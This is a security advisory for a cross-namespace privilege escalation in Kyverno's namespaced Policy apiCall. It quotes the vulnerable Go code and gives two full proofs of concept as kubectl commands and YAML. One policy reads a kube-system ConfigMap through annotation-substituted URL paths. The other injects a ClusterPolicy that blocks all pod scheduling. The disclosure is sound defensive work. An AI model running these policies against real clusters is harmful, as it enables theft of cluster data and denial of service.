GHSA-8p9x-46gm-qfx2 Kyverno Cross-Namespace Privilege Escalation via Policy apiCall

• Go github.com/kyverno/kyverno: < 1.15.3 → fixed in 1.15.3 • Go github.com/kyverno/kyverno: >= 1.16.0-rc.1, < 1.16.3 → fixed in 1.16.3

Summary A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved `urlPath` is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace. As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution. Details The vulnerability exists in how Kyverno handles `apiCall` context entries. The code substitutes variables into the `URLPath` field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy. 1. In `pkg/engine/apicall/apiCall.go`, the `Fetch` method performs variable substitution on the entire `APICall` object, including the `URLPath`. ```go // pkg/engine/apicall/apiCall.go func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall) ``` 2. In `pkg/engine/apicall/executor.go`, the `Execute` method delegates to `executeK8sAPICall`, which passes the raw path directly to the Kubernetes client's `RawAbsPath` method. ```go // pkg/engine/apicall/executor.go func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData) ``` Because `RawAbsPath` executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to. PoC 001 - Data exfiltration The following steps demonstrate how a user restricted to the `default` namespace (with no access to `kube-system`) can read a sensitive ConfigMap from the `kube-system` namespace. 0. Setup kind + Kyverno Tested with Kyverno v1.16.1 on k8s v1.34.0. ```bash kind create cluster helm repo add kyverno https://kyverno.github.io/kyverno/ helm repo update helm install kyverno kyverno/kyverno -n kyverno --create-namespace ``` 1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user `policy-admin` who only has permissions to manage policies in the `default` namespace. ```bash Create confidential data in kube-system kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data Create a restricted service account kubectl create sa policy-admin -n default Create a role for managing policies and configmaps in default namespace only kubectl create role policy-admin-role -n default \ --verb=create,get,list,update,delete \ --resource=policies.kyverno.io,configmaps Bind the role to the service account kubectl create rolebinding policy-admin-binding -n default \ --role=policy-admin-role \ --serviceaccount=default:policy-admin Verify the user cannot access kube-system kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin Output: no ``` 2. Create malicious policy as the restricted user Impersonating the restricted user `policy-admin`, apply a namespaced `Policy` in the `default` namespace. ```yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-ns-leak namespace: default spec: validationFailureAction: Enforce rules: • name: leak-config match: resources: kinds: • ConfigMap context: • name: leakedData apiCall: # Injection happens here via annotations urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}" jmesPath: "data.key" validate: # The leaked data is returned in the denial message message: "LEAKED DATA: {{leakedData}}" deny: {} EOF ``` 3. Trigger the leak As the restricted user, create a ConfigMap in the `default` namespace with annotations pointing to the target resource in `kube-system`. ```yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-leak namespace: default annotations: target_ns: "kube-system" target_name: "target-cm" data: {} EOF ``` 4. Result The creation request is denied, but the error message contains the secret data from `kube-system`, proving the privilege escalation. ``` Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request: resource ConfigMap/default/trigger-leak was blocked due to the following policies cross-ns-leak: leak-config: 'LEAKED DATA: confidential-data' ``` PoC 002 - ClusterPolicy injection Continue from the setup from the previous PoC. This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a `ClusterPolicy` that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods. 1. Apply a malicious policy ```yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: mutation-cpol namespace: default spec: validationFailureAction: Enforce rules: • name: create-malicious-cpol match: resources: kinds: • ConfigMap context: • name: mutation apiCall: urlPath: "/apis/kyverno.io/v1/clusterpolicies" method: POST data: • key: apiVersion value: "kyverno.io/v1" • key: kind value: "ClusterPolicy" • key: metadata value: name: "malicious-cpol" • key: spec value: validationFailureAction: Enforce rules: • name: block-all match: resources: kinds: • Pod validate: message: "Blocked by malicious policy" deny: {} validate: message: "Created ClusterPolicy: {{mutation.metadata.name}}" deny: {} EOF ``` 2. Trigger the policy ```bash cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-cpol namespace: default data: {} EOF ``` This outputs an error: ``` Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request: resource ConfigMap/default/trigger-cpol was blocked due to the following policies mutation-cpol: create-malicious-cpol: "" ``` 3. Observe the new cluster policy ```bash kubectl get clusterpolicy malicious-cpol ``` Outputs: ``` NAME ADMISSION BACKGROUND READY AGE MESSAGE malicious-cpol true true True 4m58s Ready ``` 4. Verify that no new pods can be created (even as a cluster admin) Run: ``` kubectl run --image=nginx foo ``` Outputs: ``` Error from server: admission webhook "validate.kyverno.svc-fail" denied the request: resource Pod/default/foo was blocked due to the…